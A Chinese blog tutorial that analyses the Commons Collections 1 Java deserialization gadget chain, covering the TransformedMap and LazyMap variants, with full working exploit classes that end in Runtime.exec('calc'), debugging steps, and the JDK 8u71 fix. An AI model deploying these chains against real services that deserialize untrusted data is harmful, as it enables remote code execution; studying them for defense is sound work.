Java安全-Common-Collections 1利用链分析

p0l1st Lv1

环境搭建

将jdk-af660750b2f4\src\share\classes\sun复制到jdk1.8.0_65\src

QQ_1722596207037

新建项目,将JDK换成8u65

QQ_1724122490726

然后在pom.xml添加依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

QQ_1722598348232

项目结构->SDK

QQ_1722604414421

然后

QQ_1722599053594

通过import CC的包来验证环境是否导入成功

1
import org.apache.commons.collections.functors.InvokerTransformer;

Common-Collections

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(一些已发布项目),Sandbox(一些正在开发的项目)和Dormant(一些刚启动或者已经停止维护的项目)。

简单来说,Common-Collections这个项目开发出来是为了给Java标准的Collections API提供了相当好的补充

在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充

包结构

  • org.apache.commons.collections-CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag-实现Bag接口的一组类
  • org.apache.commons.collections.bidimap-实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer-实现Buffer接口的一组类
  • org.apache.commons.collections.collection-实现Java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators-实现Java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors-Commons Collections-自定义的一组功能组
  • org.apache.commons.collections.iterators-实现Java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue-实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list-实现java.util.list接口的一组类
  • org.apache.commons.collections.map-实现Map系列接口的一组类
  • org.apache.commons.collections.set-实现Set系列接口的一组类

TransformMap版CC1攻击链

反序列化攻击思路

入口类这里,需要一个readObject方法,结尾需要一个能够执行命令的方法,中间通过链子引导过去,所以攻击一定要从尾部出发取寻找头

流程图:

QQ_1724120263339

寻找尾部的exec方法

Transfomer接口,查看接口实现的类

QQ_1724132888005

InvokerTransformer中存在反射可以调用任意类的任意方法,可以作为链子的终点

QQ_1724133083887

先尝试构造一下,利用这个类弹个计算器

反射的命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(runtime,"calc");



}
}

根据构造方法构造exp,因为是public方法,无需反射

QQ_1724133499724

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);



}
}

QQ_1724133734478

注意最后一句invokerTransformer.transform(runtime);,那么下一步就需要寻找调用transform方法的不同名函数

初步寻找链子

find usages发现TransformedMap类中存在checkSetValue方法调用了transform方法

QQ_1724134789452

跟进valueTransformer,在TransformedMap的构造方法发现了valueTransformer

QQ_1724141068529

但是由于其作用域是protected,我们还要继续寻找谁又调用了这个构造方法

静态的decorate方法创建了TransformedMap对象

QQ_1724141187145

到这里,我们将其作为链子的起点,构造PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class PoC1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checksetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checksetValueMethod.setAccessible(true);
checksetValueMethod.invoke(decorateMap,runtime);


}
}

分析一下这条链子是怎么构造的:

  • 尾部,也就是我们利用的漏洞,InvokerTransformer类的transform方法存在反射,可以进行命令执行
  • 当调用decorate方法时,会新建TransformedMap对象,我们调用对象的checkSetValue方法
  • checkSetValue方法中,会调用transform方法,这也就是链子的尾部

QQ_1724143647672

这么一看,调用decorate方法就很有必要了,下面几行代码都是为了decorate方法而生的

1
2
3
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);

调用完decorate方法,下面就可以新建TransformedMap对象了

1
Class<TransformedMap> transformedMapClass = TransformedMap.class;

再利用反射

1
2
3
Method checksetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checksetValueMethod.setAccessible(true);
checksetValueMethod.invoke(decorateMap,runtime);

QQ_1724141830468

完整链子

目前的链子位于checkSetValue当中,找decorate的链子,发现无法往前了,回到checkSetValue重新找链子

继续find usages,发现了parent.checkSetValue(value),调用了checkSetValue

QQ_1724156707462

跟进看看,这是一个抽象类,并且还是TransformedMap的父类

QQ_1724156929399

调用checkSetValue方法的是其内部类MapEntry

QQ_1724157040554

setValue()实际上就是再Map中对一组entry(键值对)进行setValue()操作

QQ_1724157593945

所以我们进行decorate方法调用,进行Map遍历时,就会走到setValue中,而setValue则会调用checkSetValue

写一段代码来调试一下,看看遍历Map时,会不会走到setValue,在上图中setValue的第192行下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class setValueTest {
public static void main(String[] args) {
Runtime runtime =Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}


}
}

果然会跳进来,并且代码执行完会弹计算器

QQ_1724158750153

那么到这里攻击思路就出来了,找到一个是数组的类,遍历这个数组,并且调用setValue方法

问题是怎么遍历一个Map最终调用setValue方法

下面就需要找到一个可以调用setValuereadObject

寻找链首的readObject

之前链子分析到setValue,这里在setValue处继续find usages

成功找到一个readObject的入口类

QQ_1724159597361

类名为AnnotationInvocationHandlerInvocationHandler是用做动态代理中间处理,因为它继承了InvocationHandler接口

要调用setValue,就必须满足下图的条件

QQ_1724160167995

但是readObject的方法是类AnnotationInvocationHandler的,AnnotationInvocationHandler的作用域为default,我们需要通过反射来获取这个类及其构造函数,再实例化

QQ_1724160425823

构造Exp

理想情况下的Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ExceptedExp {
public static void main(String[] args) throws Exception{

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);

// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这个Exp存在三个问题:

  • Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式
  • setValue()的传参,需要传Runtime对象,但是实际情况中却不是

QQ_1724161393851

  • 要满足两个if条件才能调用setValue

解决Runtime不能序列化

Runtime没有实现序列化接口,因此不能序列化

QQ_1724244641721

但是Runtime.class是可以序列化的

Runtime.class是Java中的一个特殊的静态属性,表示java.lang.Runtime类的Class对象,对于java.lang.Runtime类来说,Runtime.class就是表示该类的元数据信息的Class对象。它包含了有关Runtime类的结构、方法、字段等信息,可以用来在反射中获取方法、调用方法、获取类名等

先写一遍普通的反射

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Exp1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class c = Runtime.class;
Method method = c.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime)method.invoke(null,null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime,"calc");
}
}

再将这个反射的Runtime改为使用InvokerTransformer调用的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Exp1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class c = Runtime.class;
Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}

最后三行代码的共同点:

  • 格式都为new InvokerTransformer().invoke()
  • 后一个invoke()方法里的参数都是前一个的结果

我们可以使用ChainedTransformer类来简化代码

QQ_1724166339028

ChainedTransformer类下的transform方法递归调用了前一个方法的结果,作为后一个方法的参数

那么编写Exp的时候就可以先定义一个数组,然后将数组传到ChainedTransformer中,再调用transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Exp1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

}
}

QQ_1724168176700

与decorate的链子结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Exp2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);

// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是运行并没有弹出计算器,因为并没有调用transformer

我们在AnnotationInvocationHandler类的两个if打断点看看

QQ_1724168686951

QQ_1724168709732

可以看到Exp跳过了第二个if,没有调用setValue方法

进入setValue方法

要调用setValue方法,必须满足两个if条件

第一个if语句if (memberType != null),跳出来的原因是我们传入的memberType为null,

QQ_1724207333660

我们的传参语句

QQ_1724207473339

我们的要求是,传入的注解参数是有成员变量的

并且满足hashMap.put("para1","para2")中的para1与成员变量相对应,当然这是第二个if的事了

跟进Override看看

QQ_1724207957694

什么都没有,那我们就需要找另外的注解

我们用Target.class尝试一下,点击Target,其中有一个成员变量value,所以这里的hashmap.put也需要修改为value

QQ_1724208750403

再次debug,成功进入setValue方法

QQ_1724208871994

但是仍然弹不了计算器,因为setValue的值不可控,指定为AnnotationTypeMismatchExceptionProxy类,无法命令执行

QQ_1724208977723

我们需要找到一个类,可控setValue的参数

编写最终Exp

这里找了一个能够解决setValue可控参数的类-ConstantTransformer

QQ_1724211692795

  • 构造方法:传入的任何对象都放在iConstant
  • transform()方法:无论传入什么,都返回iConstant

那我们就可以将AnnotationTypeMismatchExceptionProxy类作为transform方法的参数传入,然后再通过构造方法传入Runtime.class,这样无论transform方法调用什么对象,都会返回Runtime.class

我们来传入Runtime.class调试一下看看:

QQ_1724221053295

QQ_1724221129619

QQ_1724221197402

可以看到虽然给transform方法传入的参数是AnnotationTypeMismatchExceptionProxy,但是最终返回的是Runtime.class

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ExpFinal {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","p0l1st");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);

// 序列化反序列化
serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

QQ_1724212166724

小结

利用链

1
2
3
4
5
6
7
8
9
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject
工具类辅助利用链:
ChainedTransformer
ConstantTransformer
HashMap

流程图

QQ_1724226578803

LazyMap版CC1攻击链

寻找链尾的exec方法

链子的尾部还是InvokerTransformer下的transform方法,继续find usages

这里选择LazyMap类的get方法,该方法调用了transform方法并且作用域为public

QQ_1724383565912

QQ_1724383750465

寻找链子

先来看看上图158行中的factory是什么

QQ_1724384351607

QQ_1724384611841

这里也有decorate方法,作用和TransformMap中的decorate方法一样,那我们就可以通过decorate方法来创建LazyMap对象进而控制factory

构造Exp来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;
public class LazyExp1 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap <Object,Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap,invokerTransformer);
decorateMap.get(runtime);



}
}

image-20240823211214353

可以看到这条链是可以利用的,继续往前,最终要找到入口类的readObject方法

上面我们找到了LazyMap类的get方法,继续看看谁调用了LazyMap.get()

image-20240823205916331

AnnotationInvocationHandler类的invoke方法调用了get方法

image-20240823210147732

分析上条链子时我们知道memberValues可控,并且这个类存在readObject方法,那我们就可以将其作为入口类

编写Exp

触发invoke方法,需要动态代理,一个类被动态代理之后,通过代理调用这个类的方法,就一定会调用invoke方法

image-20240823211902162

这里调用了entrySet方法,也就是说,如果我们将memberValues的值改为代理对象,当调用代理对象的方法,就会跳到执行invoke方法

image-20240823213000546

AnnotationInvocationHandler中实现了InvocationHandler,可以使用动态代理

我们将AnnotationInvocationHandler对象用Proxy进行动态代理,那么进行readObject时,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke方法中,进而触发LazyMap.get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyExpFinal {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //构造setValue的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
//设置动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
//触发invoke
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

image-20240823220642200

小结

利用链

1
2
3
4
5
6
7
8
9
利用链:
InvokerTransformer#transform
LazyMap#get
AnnotationInvocationHandler#readObject
工具类辅助利用链:
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet

流程图

image-20240823222404367

修复方法

官方推荐的修复方法是将jdk版本提升至jdk8u71

TransformMap

jdk8u71及后续版本没有能调用readObjectsetValue方法的地方

LazyMap

jdk8u67之后的版本序列化不再通过defaultReadObject方式,而是通过readFields来获取几个特定的属性,defaultReadObject可以恢复对象本身的属性,比如this.memberValues就能恢复成我们原本设计的恶意类,但是通过readFields方式,this.memberValues为null,后面执行get方法就没办法触发,这也就是高版本不能使用的原因

参考文章

Java反序列化Commons-Collections篇01-CC1链

Java_Commons-Collections 1 (CC1) 学习过程

CommonCollections1利用链分析

  • Title: Java安全-Common-Collections 1利用链分析
  • Author: p0l1st
  • Created at : 2024-08-30 23:28:35
  • Updated at : 2024-11-04 10:49:54
  • Link: https://blog.p0l1st.top/2024/08/30/Java安全-Common-Collections-1利用链分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments